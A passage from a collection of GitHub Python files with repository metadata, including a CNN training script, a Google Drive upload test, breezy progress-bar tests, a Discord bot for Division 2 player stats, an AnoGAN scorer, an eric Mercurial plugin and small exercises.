config.DATASET_PARAMS['input_shape']\nnum_classes = config.DATASET_PARAMS['num_classes']\nepochs, init_lr, batch_size, verbose = config.get_default_training_config()\n\n# any of the number of epochs, learning rate, or batch_size for training could be\n# changed by hardcoding the above variables here to a different value\nepochs = 50\n\n# load model parameters\nif args['params'] is None:\n model_params = utils.train.load_default_model_params()\nelse:\n with open(args['params'], 'rb') as f:\n model_params = pickle.load(f)\n\n# should be either \"linear\" for smoothed labels that reflect a potential continuum of perceptual\n# similarity or \"coarse\" to enforce binary relations across perceptual categories\nlabel_type = 'linear'\n\n# replace with correct path for the tensorflow shapes3d dataset\n# for download instructions visit https://github.com/deepmind/3d-shapes\n# can also pass the datapath via command line with the -d option\ndatapath = args['datapath']\n\nprint(\"[INFO] loading data...\")\ntrain_data, validation_data, target_names, full_labels = utils.train.load_data(input_shape,\n balance_traits=True,\n label_type=label_type,\n return_full_labels=True,\n datapath=datapath)\nnum_classes = 64\nsmooth_func = utils.train.sum_label_components\n\ndate = datetime.today()\ndate_str = date.strftime('%y%m%d')\n\n# currently calculates labels for all settings, which is not necessary if you\n# only want a subset of the trait combinations. If you want to customize what types\n# of relationships you are enforcing in the vision module, this is the function to \n# take a look at. Essentially any vectors with the right dimensionality that sum to one\n# will work for training, but how you structure those vectors will determine what class \n# relationships are being enforced\n_, relational_labels, _, trait_weights = utils.train.get_shape_color_labels(full_labels,\n balance_traits=True,\n balance_type=2,\n label_type=label_type,\n trait_weights=trait_weights)\n\nfor trait_to_enforce in experiment_traits:\n print('enforcing trait: {}'.format(trait_to_enforce))\n\n if trait_to_enforce in ['color-shape', 'color-size', 'shape-size']:\n tw = trait_weights[trait_to_enforce]\n else:\n tw = None\n\n for FACTOR in sf_list:\n with device('/gpu:' + str(args[\"gpu\"])):\n opt = SGD(learning_rate=init_lr, momentum=0.9)\n\n # the line below could be exchanged for any keras model with appropriate input/output\n # characteristics for the shapes3d dataset. The GenericNet class is also relatively\n # convenient for building vanilla CNNs, if you take a few minutes to understand how to\n # set the model_params dictionary\n model = GenericNet.build(*input_shape, num_classes, **model_params)\n model.compile(loss=\"categorical_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\n\n # sets checkpoint paths designed for multiple experimental runs by creating a folder based\n # on the date of the experiment\n checkpoints_path = os.path.join(args['checkpoints'],\n date_str, label_type, trait_to_enforce,\n 'tw-', str(tw)[-2:] + '_sf-' + str(FACTOR).replace('.', '-'))\n if not os.path.isdir(checkpoints_path):\n Path(checkpoints_path).mkdir(parents=True)\n\n if args['params'] is not None:\n shutil.copyfile(args['params'], os.path.join(checkpoints_path, 'model_params.pkl'))\n\n fname = os.path.sep.join([checkpoints_path,\n \"weights-sfactor-{:.2f}\".format(FACTOR) + \"-{epoch:03d}-{val_loss:.4f}.hdf5\"])\n\n callbacks = [ModelCheckpoint(fname, monitor='val_loss', save_freq='epoch')]\n\n # ModelTrainer class expects training arguments as a dictionary\n training_args = dict()\n param_kws = ('validation_data', 'batch_size', 'epochs', 'callbacks', 'verbose')\n for kw in param_kws:\n training_args[kw] = locals()[kw]\n sf_args = {'factor': FACTOR,\n 'verbose': True,\n 'rel_comps': relational_labels[trait_to_enforce]}\n mt = utils.ModelTrainer(model, train_data,\n train_args=training_args,\n eval_args={'batch_size': batch_size},\n sfunc=smooth_func,\n verbose=True,\n func_args=sf_args)\n\n save_vars = (mt.H.history, mt.report, mt.c_matrix, relational_labels, tw, trait_to_enforce)\n fn_out = os.path.sep.join(\n [checkpoints_path, 'exp_data_sf-{:.2f}-trait-{}.pkl'.format(FACTOR, trait_to_enforce)])\n\n # this code saves some variables that are useful for analysis and then also saves the final\n # weights files in a separate directory for ease of access. Could theoretically be deleted\n # and just use the checkpoints files being saved by the training callback\n with open(fn_out, 'wb') as f:\n pickle.dump(save_vars, f)\n finalEpoch_dir = os.path.join(args['checkpoints'], date_str, 'final_epochs')\n if trait_to_enforce in ['color-shape', 'color-size', 'shape-size']:\n finalEpoch_fn = 'finalweights_lt-' + label_type + '_trait-' + trait_to_enforce + \\\n '_tw-' + '{:.02f}'.format(tw[0])[-2:] + '_sf-' + str(FACTOR) + '.hdf5'\n dataFN_out = os.path.join(\n finalEpoch_dir, 'expdata_tw-{:.2f}_sf-{:.2f}_trait-{}.pkl'.format(tw[0], FACTOR, trait_to_enforce))\n else:\n finalEpoch_fn = 'finalweights_lt-' + label_type + '_trait-' + trait_to_enforce + \\\n '_sf-' + str(FACTOR) + '.hdf5'\n dataFN_out = os.path.join(\n finalEpoch_dir, 'expdata_trait-{}_sf-{:.2f}.pkl'.format(trait_to_enforce, FACTOR))\n if not os.path.isdir(finalEpoch_dir):\n Path(finalEpoch_dir).mkdir(parents=True)\n model.save(os.path.join(finalEpoch_dir, finalEpoch_fn))\n with open(dataFN_out, 'wb') as f:\n pickle.dump(save_vars, f)\n\n # if you don't do this you may run into memory issues when training multiple models in a\n # single run\n tf.keras.backend.clear_session()\n gc.collect()\n\n # plot the training loss and accuracy\n plt.style.use(\"ggplot\")\n plt.figure()\n plt.plot(np.arange(0, epochs), mt.H.history[\"loss\"], label=\"train_loss\")\n plt.plot(np.arange(0, epochs), mt.H.history[\"val_loss\"], label=\"val_loss\")\n plt.plot(np.arange(0, epochs), mt.H.history[\"accuracy\"], label=\"train_acc\")\n plt.plot(np.arange(0, epochs), mt.H.history[\"val_accuracy\"], label=\"val_acc\")\n plt.title(\"Training Loss and Accuracy\")\n plt.xlabel(\"Epoch #\")\n plt.ylabel(\"Loss/Accuracy\")\n plt.legend()\n plt.savefig(os.path.join(checkpoints_path, 'training_plot.png'))\n plt.close()\n","repo_name":"XeniaOhmer/language_perception_communication_games","sub_path":"train_cnn.py","file_name":"train_cnn.py","file_ext":"py","file_size_in_byte":9889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2085794038","text":"from movie_app import MovieApp\r\nfrom storage_json import StorageJson\r\nfrom storage_csv import StorageCsv\r\n\r\n\r\ndef main():\r\n \"\"\"This starts up the entire program, and chooses the file type\"\"\"\r\n\r\n user_input = input(f\"1. JSON\\n2. CSV\\n Enter format: \")\r\n\r\n if user_input == \"1\":\r\n storage = StorageJson('movies.json')\r\n movie_app = MovieApp(storage)\r\n movie_app.run()\r\n\r\n elif user_input == \"2\":\r\n storage = StorageCsv('movies.csv')\r\n movie_app = MovieApp(storage)\r\n movie_app.run()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Prussiancatboy/Basic-movie-repository-and-website-generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11567414664","text":"from pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\nimport os\nimport json\n\ngauth = GoogleAuth()\ngauth.LoadCredentialsFile(\"mycreds.txt\")\ndrive = GoogleDrive(gauth)\n\ndata = {\n \"example_key\": \"example_value\"\n}\n\n\ndef push_data_to_gdrive(data, file_name):\n file = drive.CreateFile({'title': f'{file_name}'})\n file.Upload()\n\n file.content_type = 'application/json'\n file.SetContentString(json.dumps(data))\n file.Upload()\npush_data_to_gdrive(data, f'trial{1}.json')\n\n'''\ndrive.push_data_to_gdrive(confusion_matrix, 'generated_data/confusion_matrix', f'trial{trial}.json')\n\ndef push_data_to_gdrive(self, data, parent, file_name):\n file = self.drive.CreateFile({'title': f'{file_name}', 'parents': [{'id': parent}]})\n file.Upload()\n\n file.content_type = 'application/json'\n file.SetContentString(json.dumps(data))\n file.Upload()\n'''","repo_name":"JackGell/Machine_learning_playground","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"75101727094","text":"import codecs\nimport io\n\nfrom .. import tests\nfrom ..progress import ProgressTask\nfrom ..ui.text import TextProgressView\nfrom . import ui_testing\n\n\nclass TestTextProgressView(tests.TestCase):\n \"\"\"Tests for text display of progress bars.\n\n These try to exercise the progressview independently of its construction,\n which is arranged by the TextUIFactory.\n \"\"\"\n # The ProgressTask now connects directly to the ProgressView, so we can\n # check them independently of the factory or of the determination of what\n # view to use.\n\n def make_view_only(self, out, width=79):\n view = TextProgressView(out)\n view._avail_width = lambda: width\n return view\n\n def make_view(self):\n out = ui_testing.StringIOWithEncoding()\n return out, self.make_view_only(out)\n\n def make_task(self, parent_task, view, msg, curr, total):\n # would normally be done by UIFactory; is done here so that we don't\n # have to have one.\n task = ProgressTask(parent_task, progress_view=view)\n task.msg = msg\n task.current_cnt = curr\n task.total_cnt = total\n return task\n\n def test_clear(self):\n # clear must actually\n # send spaces to clear the line\n out, view = self.make_view()\n task = self.make_task(None, view, 'reticulating splines', 5, 20)\n view.show_progress(task)\n self.assertEqual(\n '\\r/ reticulating splines 5/20 \\r', out.getvalue())\n view.clear()\n self.assertEqual(\n '\\r/ reticulating splines 5/20 \\r' +\n '\\r' + 79 * ' ' + '\\r',\n out.getvalue())\n\n def test_render_progress_no_bar(self):\n \"\"\"The default view now has a spinner but no bar.\"\"\"\n out, view = self.make_view()\n # view.enable_bar = False\n task = self.make_task(None, view, 'reticulating splines', 5, 20)\n view.show_progress(task)\n self.assertEqual(\n '\\r/ reticulating splines 5/20 \\r', out.getvalue())\n\n def test_render_progress_easy(self):\n \"\"\"Just one task and one quarter done.\"\"\"\n out, view = self.make_view()\n view.enable_bar = True\n task = self.make_task(None, view, 'reticulating splines', 5, 20)\n view.show_progress(task)\n self.assertEqual(\n '\\r[####/ ] reticulating splines 5/20 \\r', out.getvalue())\n\n def test_render_progress_nested(self):\n \"\"\"Tasks proportionally contribute to overall progress.\"\"\"\n out, view = self.make_view()\n task = self.make_task(None, view, 'reticulating splines', 0, 2)\n task2 = self.make_task(task, view, 'stage2', 1, 2)\n view.show_progress(task2)\n view.enable_bar = True\n # so we're in the first half of the main task, and half way through\n # that\n self.assertEqual(\n '[####- ] reticulating splines:stage2 1/2 ', view._render_line())\n # if the nested task is complete, then we're all the way through the\n # first half of the overall work\n task2.update('stage2', 2, 2)\n self.assertEqual(\n '[#########\\\\ ] reticulating splines:stage2 2/2 ', view._render_line())\n\n def test_render_progress_sub_nested(self):\n \"\"\"Intermediate tasks don't mess up calculation.\"\"\"\n out, view = self.make_view()\n view.enable_bar = True\n task_a = ProgressTask(None, progress_view=view)\n task_a.update('a', 0, 2)\n task_b = ProgressTask(task_a, progress_view=view)\n task_b.update('b')\n task_c = ProgressTask(task_b, progress_view=view)\n task_c.update('c', 1, 2)\n # the top-level task is in its first half; the middle one has no\n # progress indication, just a label; and the bottom one is half done,\n # so the overall fraction is 1/4\n self.assertEqual(\n '[####| ] a:b:c 1/2 ', view._render_line())\n\n def test_render_truncated(self):\n # when the bar is too long for the terminal, we prefer not to truncate\n # the counters because they might be interesting, and because\n # truncating the numbers might be misleading\n out, view = self.make_view()\n task_a = ProgressTask(None, progress_view=view)\n task_a.update('start_' + 'a' * 200 + '_end', 2000, 5000)\n line = view._render_line()\n self.assertEqual(\n '- start_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.. 2000/5000',\n line)\n self.assertEqual(len(line), 79)\n\n def test_render_with_activity(self):\n # if the progress view has activity, it's shown before the spinner\n out, view = self.make_view()\n task_a = ProgressTask(None, progress_view=view)\n view._last_transport_msg = ' 123kB 100kB/s '\n line = view._render_line()\n self.assertEqual(\n ' 123kB 100kB/s / ',\n line)\n self.assertEqual(len(line), 79)\n\n task_a.update('start_' + 'a' * 200 + '_end', 2000, 5000)\n view._last_transport_msg = ' 123kB 100kB/s '\n line = view._render_line()\n self.assertEqual(\n ' 123kB 100kB/s \\\\ start_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.. 2000/5000',\n line)\n self.assertEqual(len(line), 79)\n\n def test_render_progress_unicode_enc_utf8(self):\n out = ui_testing.StringIOWithEncoding()\n out.encoding = \"utf-8\"\n view = self.make_view_only(out, 20)\n task = self.make_task(None, view, \"\\xa7\", 0, 1)\n view.show_progress(task)\n self.assertEqual('\\r/ \\xa7 0/1 \\r', out.getvalue())\n\n def test_render_progress_unicode_enc_missing(self):\n out = codecs.getwriter(\"ascii\")(io.BytesIO())\n self.assertRaises(AttributeError, getattr, out, \"encoding\")\n view = self.make_view_only(out, 20)\n task = self.make_task(None, view, \"\\xa7\", 0, 1)\n view.show_progress(task)\n self.assertEqual(b'\\r/ ? 0/1 \\r', out.getvalue())\n\n def test_render_progress_unicode_enc_none(self):\n out = ui_testing.StringIOWithEncoding()\n out.encoding = None\n view = self.make_view_only(out, 20)\n task = self.make_task(None, view, \"\\xa7\", 0, 1)\n view.show_progress(task)\n self.assertEqual('\\r/ ? 0/1 \\r', out.getvalue())\n","repo_name":"breezy-team/breezy","sub_path":"breezy/tests/test_progress.py","file_name":"test_progress.py","file_ext":"py","file_size_in_byte":6742,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"22"} +{"seq_id":"72193429497","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport discord\nfrom discord.ext import commands\nimport requests\nimport os\n\ntoken = os.getenv('token')\n\n\nclass D2():\n\n \"\"\" Division2 class which get user information. \"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n def get_user_id(self, uplay_name):\n params = (\n ('name', uplay_name),\n ('platform', 'uplay'),\n )\n r = requests.get(\n 'https://thedivisiontab.com/api/search.php',\n params=params\n )\n if 'results' in r.json():\n return r.json()['results'][0]['user']\n else:\n return False\n\n def get_user_info(self, user_id):\n params = (\n ('pid', user_id),\n )\n r = requests.get(\n 'https://thedivisiontab.com/api/player.php',\n params=params\n )\n timeplayed_total = int(r.json()['timeplayed_total'] / 3600)\n timeplayed_dz = int(r.json()['timeplayed_dz'] / 3600)\n timeplayed_pve = int(r.json()['timeplayed_pve'] / 3600)\n timeplayed_pvp = int(r.json()['timeplayed_pvp'] / 3600)\n timeplayed_rogue = int(r.json()['timeplayed_rogue'] / 3600)\n level_pve = r.json()['level_pve']\n level_dz = r.json()['level_dz']\n kills_npc = r.json()['kills_npc']\n kills_pvp = r.json()['kills_pvp']\n kills_pve_hyenas = r.json()['kills_pve_hyenas']\n kills_pve_outcasts = r.json()['kills_pve_outcasts']\n kills_pve_blacktusk = r.json()['kills_pve_blacktusk']\n kills_pve_truesons = r.json()['kills_pve_truesons']\n kills_pve_dz_hyenas = r.json()['kills_pve_dz_hyenas']\n kills_pve_dz_outcasts = r.json()['kills_pve_dz_outcasts']\n kills_pve_dz_blacktusk = r.json()['kills_pve_dz_blacktusk']\n kills_pve_dz_truesons = r.json()['kills_pve_dz_truesons']\n return timeplayed_total, timeplayed_dz, timeplayed_pve, timeplayed_pvp, timeplayed_rogue, level_pve, level_dz, kills_npc, kills_pvp, kills_pve_hyenas, kills_pve_outcasts, kills_pve_blacktusk, kills_pve_truesons, kills_pve_dz_hyenas, kills_pve_dz_outcasts, kills_pve_dz_blacktusk, kills_pve_dz_truesons\n\n\ndef main():\n bot = commands.Bot(\n command_prefix='/',\n description='a division2 bot get user information.'\n )\n\n @bot.command()\n async def d2user(ctx, uplay_name):\n user_id = D2(bot).get_user_id(uplay_name)\n if user_id:\n timeplayed_total, timeplayed_dz, timeplayed_pve, timeplayed_pvp, timeplayed_rogue, level_pve, level_dz, kills_npc, kills_pvp, kills_pve_hyenas, kills_pve_outcasts, kills_pve_blacktusk, kills_pve_truesons, kills_pve_dz_hyenas, kills_pve_dz_outcasts, kills_pve_dz_blacktusk, kills_pve_dz_truesons = D2(bot).get_user_info(user_id)\n await ctx.send(\n uplay_name + ' さんの情報ですぉ ..!' +\n '```' +\n '--- プレイ時間 ---\\n' +\n 'トータルプレイ時間:' + str(timeplayed_total) + '\\n' +\n 'DZ プレイ時間:' + str(timeplayed_dz) + '\\n' +\n 'PVE プレイ時間:' + str(timeplayed_pve) + '\\n' +\n 'PVP プレイ時間:' + str(timeplayed_pvp) + '\\n' +\n 'Rogue プレイ時間:' + str(timeplayed_rogue) + '\\n' +\n '--- レベル ---\\n' +\n 'PVE レベル:' + str(level_pve) + '\\n' +\n 'DZ レベル:' + str(level_dz) + '\\n' +\n '--- キルした数 ---\\n' +\n 'キルした NPC 数:' + str(kills_npc) + '\\n' +\n 'キルした Player 数:' + str(kills_pvp) + '\\n' +\n '--- PVE の属性毎のキルした数 ---\\n' +\n 'キルしたハイエナの数:' + str(kills_pve_hyenas) + '\\n' +\n 'キルしたアウトキャストの数:' + str(kills_pve_outcasts) + '\\n' +\n 'キルしたトゥルーサンズの数:' + str(kills_pve_truesons) + '\\n' +\n 'キルしたブラックタスクの数:' + str(kills_pve_blacktusk) + '\\n' +\n '--- PVE DZ の属性毎のキルした数 ---\\n' +\n 'DZ でキルしたハイエナの数:' + str(kills_pve_dz_hyenas) + '\\n' +\n 'DZ でキルしたアウトキャストの数:' + str(kills_pve_dz_outcasts) + '\\n' +\n 'DZ でキルしたトゥルーサンズの数:' + str(kills_pve_dz_truesons) + '\\n' +\n 'DZ でキルしたブラックタスクの数:' + str(kills_pve_dz_blacktusk) + '\\n' +\n '```'\n )\n else:\n await ctx.send('ユーザーが見つかりませんでしたよぉ...')\n\n bot.run(token)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jedipunkz/discord-bot-division2","sub_path":"discord-bot-division2.py","file_name":"discord-bot-division2.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31227683164","text":"import tensorflow as tf\nimport sys\nimport time\nimport numpy as np\nsys.path.append('../../')\n\n\nclass ScoreComputer(object):\n def __init__(self, generator,\n discriminator,\n lambda_=0.1,\n lr=1e-3):\n self.generator = generator\n self.discriminator = discriminator\n self.optimizer = tf.keras.optimizers.SGD(lr)\n self.latent_dim = self.generator.latent_dim\n self.lambda_ = lambda_\n\n def compute_score_on_batch(self, x,\n noise_sampler,\n iteration=5,\n with_history=False):\n _x = tf.constant(x, dtype=tf.float32)\n z = noise_sampler(len(x), self.latent_dim)\n z = tf.Variable(z, dtype=tf.float32, \n trainable=True)\n history = {'score': [], 'generated': [], 'z': []}\n \n for _ in range(iteration):\n with tf.GradientTape() as tape:\n reduce_dims = tf.range(1, tf.rank(_x))\n gz = self.generator(z, training=False)\n loss_rec = tf.reduce_mean(tf.abs(_x - gz), \n axis=reduce_dims)\n\n _, feature_real = self.discriminator(_x,\n training=False,\n with_feature=True)\n _, feature_fake = self.discriminator(gz,\n training=False,\n with_feature=True)\n reduce_dims = tf.range(1, tf.rank(feature_fake))\n loss_fm = tf.reduce_mean(tf.abs(feature_real - feature_fake), axis=reduce_dims)\n\n score = (1.-self.lambda_)*loss_rec + self.lambda_*loss_fm\n \n grads = tape.gradient(score, [z])\n self.optimizer.apply_gradients(zip(grads, [z]))\n\n if with_history:\n history['score'].append(score)\n history['generated'].append(gz)\n history['z'].append(z)\n \n if with_history:\n return score, history\n else:\n return score\n\n def compute_score(self, x,\n noise_sampler,\n batch_size=32,\n iteration=5, \n with_history=False):\n steps = len(x) // batch_size\n if len(x) % batch_size:\n steps += 1\n scores = np.empty((0, ))\n start = time.time()\n\n history = {'score': [], 'generated': [], 'z': []}\n\n for iter_ in range(steps):\n _x = x[iter_*batch_size: (iter_+1)*batch_size]\n if with_history:\n score, _hist = self.compute_score_on_batch(_x, noise_sampler, iteration, with_history)\n history['score'].extend(_hist['score'])\n history['generated'].extend(_hist['generated'])\n history['z'].extend(_hist['z'])\n else:\n score = self.compute_score_on_batch(_x, noise_sampler, iteration)\n scores = np.append(scores, score)\n print(f'{iter_*batch_size} / {len(x)} {time.time()-start:.1f}[s]', end='\\r')\n \n if with_history:\n return scores, history\n else:\n return scores\n","repo_name":"salty-vanilla/tf-anomaly","sub_path":"impl/anogan/score_computer.py","file_name":"score_computer.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"42138503484","text":"from __future__ import unicode_literals\n\nimport os\n\nfrom PyQt5.QtCore import QObject, QCoreApplication\n\nfrom E5Gui.E5Application import e5App\n\nimport Preferences\nfrom Preferences.Shortcuts import readShortcuts\n\nfrom VcsPlugins.vcsMercurial.HgUtilities import getConfigPath\n\nimport Utilities\n\n# Start-Of-Header\nname = \"Mercurial Plugin\"\nauthor = \"Detlev Offenbach \"\nautoactivate = False\ndeactivateable = True\nversion = \"6.1.0\"\npluginType = \"version_control\"\npluginTypename = \"Mercurial\"\nclassName = \"VcsMercurialPlugin\"\npackageName = \"__core__\"\nshortDescription = \"Implements the Mercurial version control interface.\"\nlongDescription = \\\n \"\"\"This plugin provides the Mercurial version control interface.\"\"\"\npyqtApi = 2\npython2Compatible = True\n# End-Of-Header\n\nerror = \"\"\n\n\ndef exeDisplayData():\n \"\"\"\n Public method to support the display of some executable info.\n \n @return dictionary containing the data to query the presence of\n the executable\n \"\"\"\n exe = 'hg'\n if Utilities.isWindowsPlatform():\n exe += '.exe'\n \n data = {\n \"programEntry\": True,\n \"header\": QCoreApplication.translate(\n \"VcsMercurialPlugin\", \"Version Control - Mercurial\"),\n \"exe\": exe,\n \"versionCommand\": 'version',\n \"versionStartsWith\": 'Mercurial',\n \"versionPosition\": -1,\n \"version\": \"\",\n \"versionCleanup\": (0, -1),\n }\n \n return data\n\n\ndef getVcsSystemIndicator():\n \"\"\"\n Public function to get the indicators for this version control system.\n \n @return dictionary with indicator as key and a tuple with the vcs name\n (string) and vcs display string (string)\n \"\"\"\n global pluginTypename\n data = {}\n exe = 'hg'\n if Utilities.isWindowsPlatform():\n exe += '.exe'\n if Utilities.isinpath(exe):\n data[\".hg\"] = (pluginTypename, displayString())\n data[\"_hg\"] = (pluginTypename, displayString())\n return data\n\n\ndef displayString():\n \"\"\"\n Public function to get the display string.\n \n @return display string (string)\n \"\"\"\n exe = 'hg'\n if Utilities.isWindowsPlatform():\n exe += '.exe'\n if Utilities.isinpath(exe):\n return QCoreApplication.translate('VcsMercurialPlugin', 'Mercurial')\n else:\n return \"\"\n\nmercurialCfgPluginObject = None\n\n\ndef createConfigurationPage(configDlg):\n \"\"\"\n Module function to create the configuration page.\n \n @param configDlg reference to the configuration dialog (QDialog)\n @return reference to the configuration page\n \"\"\"\n global mercurialCfgPluginObject\n from VcsPlugins.vcsMercurial.ConfigurationPage.MercurialPage import \\\n MercurialPage\n if mercurialCfgPluginObject is None:\n mercurialCfgPluginObject = VcsMercurialPlugin(None)\n page = MercurialPage(mercurialCfgPluginObject)\n return page\n \n\ndef getConfigData():\n \"\"\"\n Module function returning data as required by the configuration dialog.\n \n @return dictionary with key \"zzz_mercurialPage\" containing the relevant\n data\n \"\"\"\n return {\n \"zzz_mercurialPage\":\n [QCoreApplication.translate(\"VcsMercurialPlugin\", \"Mercurial\"),\n os.path.join(\"VcsPlugins\", \"vcsMercurial\", \"icons\",\n \"preferences-mercurial.png\"),\n createConfigurationPage, \"vcsPage\", None],\n }\n\n\ndef prepareUninstall():\n \"\"\"\n Module function to prepare for an uninstallation.\n \"\"\"\n if not e5App().getObject(\"PluginManager\").isPluginLoaded(\n \"PluginVcsMercurial\"):\n Preferences.Prefs.settings.remove(\"Mercurial\")\n \n\nclass VcsMercurialPlugin(QObject):\n \"\"\"\n Class implementing the Mercurial version control plugin.\n \"\"\"\n def __init__(self, ui):\n \"\"\"\n Constructor\n \n @param ui reference to the user interface object (UI.UserInterface)\n \"\"\"\n super(VcsMercurialPlugin, self).__init__(ui)\n self.__ui = ui\n \n self.__mercurialDefaults = {\n \"StopLogOnCopy\": True, # used in log browser\n \"UseLogBrowser\": True,\n \"LogLimit\": 20,\n \"CommitMessages\": 20,\n \"PullUpdate\": False,\n \"PreferUnbundle\": False,\n \"ServerPort\": 8000,\n \"ServerStyle\": \"\",\n \"CleanupPatterns\": \"*.orig *.rej *~\",\n \"CreateBackup\": False,\n \"InternalMerge\": False,\n \"Encoding\": \"utf-8\",\n \"EncodingMode\": \"strict\",\n \"ConsiderHidden\": False,\n }\n \n from VcsPlugins.vcsMercurial.ProjectHelper import HgProjectHelper\n self.__projectHelperObject = HgProjectHelper(None, None)\n try:\n e5App().registerPluginObject(\n pluginTypename, self.__projectHelperObject, pluginType)\n except KeyError:\n pass # ignore duplicate registration\n readShortcuts(pluginName=pluginTypename)\n \n def getProjectHelper(self):\n \"\"\"\n Public method to get a reference to the project helper object.\n \n @return reference to the project helper object\n \"\"\"\n return self.__projectHelperObject\n\n def initToolbar(self, ui, toolbarManager):\n \"\"\"\n Public slot to initialize the VCS toolbar.\n \n @param ui reference to the main window (UserInterface)\n @param toolbarManager reference to a toolbar manager object\n (E5ToolBarManager)\n \"\"\"\n if self.__projectHelperObject:\n self.__projectHelperObject.initToolbar(ui, toolbarManager)\n \n def activate(self):\n \"\"\"\n Public method to activate this plugin.\n \n @return tuple of reference to instantiated viewmanager and\n activation status (boolean)\n \"\"\"\n from VcsPlugins.vcsMercurial.hg import Hg\n self.__object = Hg(self, self.__ui)\n \n tb = self.__ui.getToolbar(\"vcs\")[1]\n tb.setVisible(False)\n tb.setEnabled(False)\n \n tb = self.__ui.getToolbar(\"mercurial\")[1]\n tb.setVisible(True)\n tb.setEnabled(True)\n \n return self.__object, True\n \n def deactivate(self):\n \"\"\"\n Public method to deactivate this plugin.\n \"\"\"\n self.__object = None\n \n tb = self.__ui.getToolbar(\"mercurial\")[1]\n tb.setVisible(False)\n tb.setEnabled(False)\n \n tb = self.__ui.getToolbar(\"vcs\")[1]\n tb.setVisible(True)\n tb.setEnabled(True)\n \n def getPreferences(self, key):\n \"\"\"\n Public method to retrieve the various settings.\n \n @param key the key of the value to get\n @return the requested setting\n \"\"\"\n if key in [\"StopLogOnCopy\", \"UseLogBrowser\", \"PullUpdate\",\n \"PreferUnbundle\", \"CreateBackup\", \"InternalMerge\",\n \"ConsiderHidden\"]:\n return Preferences.toBool(Preferences.Prefs.settings.value(\n \"Mercurial/\" + key, self.__mercurialDefaults[key]))\n elif key in [\"LogLimit\", \"CommitMessages\", \"ServerPort\"]:\n return int(Preferences.Prefs.settings.value(\n \"Mercurial/\" + key, self.__mercurialDefaults[key]))\n elif key in [\"Commits\"]:\n return Preferences.toList(Preferences.Prefs.settings.value(\n \"Mercurial/\" + key))\n else:\n return Preferences.Prefs.settings.value(\n \"Mercurial/\" + key, self.__mercurialDefaults[key])\n \n def setPreferences(self, key, value):\n \"\"\"\n Public method to store the various settings.\n \n @param key the key of the setting to be set\n @param value the value to be set\n \"\"\"\n Preferences.Prefs.settings.setValue(\"Mercurial/\" + key, value)\n\n def getGlobalOptions(self):\n \"\"\"\n Public method to build a list of global options.\n \n @return list of global options (list of string)\n \"\"\"\n args = []\n if self.getPreferences(\"Encoding\") != \\\n self.__mercurialDefaults[\"Encoding\"]:\n args.append(\"--encoding\")\n args.append(self.getPreferences(\"Encoding\"))\n if self.getPreferences(\"EncodingMode\") != \\\n self.__mercurialDefaults[\"EncodingMode\"]:\n args.append(\"--encodingmode\")\n args.append(self.getPreferences(\"EncodingMode\"))\n if self.getPreferences(\"ConsiderHidden\"):\n args.append(\"--hidden\")\n return args\n \n def getConfigPath(self):\n \"\"\"\n Public method to get the filename of the config file.\n \n @return filename of the config file (string)\n \"\"\"\n return getConfigPath()\n \n def prepareUninstall(self):\n \"\"\"\n Public method to prepare for an uninstallation.\n \"\"\"\n e5App().unregisterPluginObject(pluginTypename)\n \n def prepareUnload(self):\n \"\"\"\n Public method to prepare for an unload.\n \"\"\"\n if self.__projectHelperObject:\n self.__projectHelperObject.removeToolbar(\n self.__ui, e5App().getObject(\"ToolbarManager\"))\n e5App().unregisterPluginObject(pluginTypename)\n","repo_name":"pycom/Pymakr","sub_path":"Plugins/PluginVcsMercurial.py","file_name":"PluginVcsMercurial.py","file_ext":"py","file_size_in_byte":9254,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"22"} +{"seq_id":"28360194364","text":"# {\n# Driver Code Starts\n# Initial Template for Python 3\n\n# } Driver Code Ends\n# User function Template for python3\n\n\nclass Solution:\n def lemonadeChange(self, N, bills):\n # Code here\n five = 0\n ten = 0\n for b in bills:\n if b == 5:\n five += 1\n elif b == 10:\n if five == 0:\n return False\n five -= 1\n ten += 1\n else:\n total = 20\n if ten > 0:\n ten -= 1\n total = 10\n need = total // 5 - 1\n if five < need:\n return False\n five -= need\n\n return True\n\n\n# {\n# Driver Code Starts.\nif __name__ == \"__main__\":\n t = int(input())\n for _ in range(t):\n N = int(input())\n bills = list(map(int, input().split()))\n ob = Solution()\n res = ob.lemonadeChange(N, bills)\n print(res)\n# } Driver Code Ends\n","repo_name":"huggin/gfg","sub_path":"greedy/lemonade_change.py","file_name":"lemonade_change.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"23345851445","text":"from sklearn import tree\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_curve, auc, accuracy_score, roc_auc_score\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import GridSearchCV\n\n\"\"\"READING DATASET AND CREATING MODEL\"\"\"\ndf = pd.read_csv(\"titanic.csv\")\ninputs = df.drop(\"Survived\",axis='columns')\ntarget = df.Survived\nnormalised_inputs = (inputs - inputs.min())/(inputs.max() - inputs.min())\nx_train,x_test,y_train,y_test = train_test_split(inputs,target,test_size=0.3,random_state=0)\ntreeModel = 